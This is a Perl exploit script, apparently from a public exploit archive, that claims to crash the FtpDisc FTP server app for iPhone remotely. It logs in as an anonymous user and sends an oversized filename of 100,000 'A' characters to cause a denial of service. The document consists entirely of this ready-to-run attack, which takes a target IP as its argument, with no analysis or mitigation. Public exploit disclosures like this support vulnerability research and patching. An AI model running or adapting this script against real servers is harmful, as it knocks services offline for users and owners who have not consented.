FtpDisc For iPhone Denial Of Service

`  
  
#!/usr/bin/perl  
#Title: FtpDisc for Iphone - Remote DOS Exploit  
#Date: 23/02/2010  
#Author: Ale46 - ale46[at]paranoici[dot]org  
#Software Link: http://mochasoft.dk/iphone_ftp.htm  
#Version: 1.0  
#Note: FtpDisc Lite has the same vuln  
#Greetz: Gandalf  
  
  
use Net::FTP;  
  
if(@ARGV<1){  
print "[-]\t Error: ./ftpdisc <ftp_server_ip>\n";  
exit();  
}  
  
my $ftp;  
my $host = $ARGV[0];  
my $stuff;  
  
for ($i=0;$i<100000;$i++){  
$stuff .="A";  
}  
  
  
$ftp = Net::FTP->new($host, Timeout=>24, Debug => 0)  
or die "Error: $@";  
print "\n[-]\t Logging to FTP\n\n";  
sleep(2);  
$ftp->login('anonymous','[email protected]')  
or die "Error: ", $ftp->message;  
print "[-]\t Sending Eval Command\n\n";  
sleep(2);  
$ftp->get($stuff);  
$ftp->quit;  
print "[-]\t Uh.. A crash..\n";  
  
  
`